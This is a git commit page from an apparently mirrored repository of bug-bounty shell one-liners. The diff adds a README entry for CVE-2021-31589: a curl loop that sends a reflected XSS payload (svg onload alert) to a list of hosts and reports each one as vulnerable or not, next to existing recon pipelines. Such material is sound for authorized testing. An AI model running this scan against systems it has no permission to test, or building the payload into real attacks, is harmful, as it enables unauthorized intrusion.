daffainfo
/
Oneliner-Bugbounty
mirror of https://github.com/daffainfo/Oneliner-Bugbounty.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update README.md

pull/1/head
AdrianMF 2022-04-01 09:55:57 +07:00 committed by GitHub
parent f796d4b556
commit 241e21e8f3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
README.md
View File

@ -12,3 +12,9 @@ subfinder -d site.com | httpx | nuclei -t nuclei-templates
```bash ```bash
subfinder -d site.com | httpx | waybackurls | grep -E ".json(?:onp?)?$" subfinder -d site.com | httpx | waybackurls | grep -E ".json(?:onp?)?$"
``` ```
### CVE-2021-31589
```bash
cat subs.txt | while read host do; do curl -sk "$host/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password" | grep -qs '"><svg/onload=alert(document.domain)>' && echo "$host: Vuln" || echo "$host: Not Vuln"; done
```